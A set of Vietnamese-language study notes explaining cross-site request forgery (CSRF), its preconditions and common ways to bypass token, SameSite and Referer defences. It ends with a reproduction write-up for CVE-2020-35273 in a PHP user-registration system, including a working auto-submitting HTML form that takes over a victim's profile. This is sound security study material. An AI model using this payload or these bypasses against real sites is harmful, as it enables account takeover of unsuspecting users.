**1 CSRF**

* Khái niệm:

Giả mạo yêu cầu chéo trang (còn được gọi là CSRF) là một lỗ hổng bảo mật web cho phép kẻ tấn công dụ dỗ người dùng thực hiện các hành động mà họ không có ý định thực hiện. Nó cho phép kẻ tấn công tránh một phần chính sách cùng nguồn gốc, được thiết kế để ngăn các trang web khác nhau can thiệp lẫn nhau.

Trong một cuộc tấn công CSRF thành công, kẻ tấn công khiến người dùng nạn nhân thực hiện một hành động vô ý. Ví dụ, có thể là thay đổi địa chỉ email trên tài khoản của họ, thay đổi mật khẩu hoặc thực hiện chuyển tiền. Tùy thuộc vào bản chất của hành động, kẻ tấn công có thể giành được quyền kiểm soát hoàn toàn đối với tài khoản của người dùng. Nếu người dùng bị xâm phạm có vai trò đặc quyền trong ứng dụng, thì kẻ tấn công có thể giành được quyền kiểm soát hoàn toàn đối với tất cả dữ liệu và chức năng của ứng dụng.

* Cách thức hoạt động

Để có thể thực hiện một cuộc tấn công CSRF, ba điều kiện chính phải có:

* *Một hành động có liên quan***.** Có một hành động trong ứng dụng mà kẻ tấn công có lý do để thực hiện. Đây có thể là hành động đặc quyền (chẳng hạn như sửa đổi quyền cho người dùng khác) hoặc bất kỳ hành động nào trên dữ liệu cụ thể của người dùng (chẳng hạn như thay đổi mật khẩu của chính người dùng).
* *Xử lý phiên dựa trên cookie.* Thực hiện hành động liên quan đến việc phát hành một hoặc nhiều yêu cầu HTTP và ứng dụng chỉ dựa vào cookie phiên để xác định người dùng đã thực hiện các yêu cầu. Không có cơ chế nào khác để theo dõi phiên hoặc xác thực yêu cầu của người dùng.
* *Không có tham số yêu cầu không thể đoán trước.* Các yêu cầu thực hiện hành động không chứa bất kỳ tham số nào mà kẻ tấn công không thể xác định hoặc đoán giá trị. Ví dụ, khi khiến người dùng thay đổi mật khẩu, chức năng này không dễ bị tấn công nếu kẻ tấn công cần biết giá trị của mật khẩu hiện tại.
* Cách thức khai thác:
* Xây dựng một URL hoặc một đoạn script để khai thác.
* Lừa nạn nhân thực thi URL hoặc đoạn script trên.
* Cách thức vượt qua các cơ chế bảo vệ:
* Bỏ qua xác thực mã thông báo CSRF:

+ Xác thực mã thông báo CSRF phụ thuộc vào phương thức yêu cầu

+ Xác thực mã thông báo CSRF phụ thuộc vào sự hiện diện của mã thông báo

+ Mã thông báo CSRF không được liên kết với phiên người dùng

+ Mã thông báo CSRF được liên kết với cookie không phải phiên

+ Mã thông báo CSRF chỉ được sao chép trong cookie

* Bỏ qua các hạn chế cookie SameSite:

+ Bỏ qua các hạn chế của SameSite Lax bằng cách sử dụng các yêu cầu GET

+ Bỏ qua các hạn chế của SameSite bằng cách sử dụng các tiện ích on-site

+ Bỏ qua các hạn chế của SameSite thông qua các miền dễ bị tấn công

+ Bỏ qua các hạn chế của SameSite Lax với các cookie mới được cấp

* Bỏ qua các biện pháp phòng thủ CSRF dựa trên Referer

+ Xác thực của Referer phụ thuộc vào việc tiêu đề có hiện diện hay không

+ Xác thực của Người giới thiệu có thể bị bỏ qua

**CVE-2020-35273**

**Firmware info:**

Tên ứng dụng: User-Registration-and-Login-System-With-Admin-Panel

Loại lỗ hổng: Cross Site Request Forgery (CSRF)

Phiên bản xây dựng: User-Registration-and-Login-System-With-Admin-Panel 1.0

Liên kết tải xuống: https://github.com/EGavilan-Media/User-Registration-and-Login-System-With-Admin-Panel.git

**Description and Impact**

Hệ thống đăng ký và đăng nhập người dùng EgavilanMedia với Bảng quản trị 1.0 bị ảnh hưởng bởi Cross Site Request Forgery (CSRF) để giành quyền từ xa trong bảng Hồ sơ người dùng. Kẻ tấn công có thể cập nhật bất kỳ tài khoản nào của người dùng.

**Root-casue**

**Steps to reprocedure**

1. Mở trang đăng nhập người dùng

2. Đăng nhập bằng tài khoản người dùng "kẻ tấn công" và điều hướng đến mục chỉnh sửa tab hồ sơ.

Nhấp vào nút "Cập nhật" và chặn yêu cầu trong web công cụ proxy được gọi là "Burpusite"

3. Tạo POC CSRF

4. Hãy đăng nhập bằng tài khoản "Nạn nhân/Người dùng bình thường". (Để người dùng đó là hiện đang được xác thực trong trình duyệt).

5. Dán URL vào trình duyệt, được sao chép ở bước 3. HOẶC gửi Mã CSRF POC được hiển thị ở bước 3.

6. Chúng ta nhận được "Status: Success", cho biết cuộc tấn công CSRF đã thành công đã thực hiện thành công .

**Payload:**

<html>

<body>

<script>history.pushState('', '', '/')</script>

<form action="http://192.168.26.133 /users/Users-Registration-and-login-System-With-Admin-Panel-master/profile\_action.php " method="POST">

<input type="hidden" name="fullname" value="Attacker" />

<input type="hidden" name="username" value="hunterr" />

<input type="hidden" name="email" value="noooobhunter&#64;gmail&#46;com" />

<input type="hidden" name="gender" value="Male" />

<input type="hidden" name="action" value="update&#95;user" />

<input type="submit" value="Submit request" />

</form>

</body>

</html>

**POC:**

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer program

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated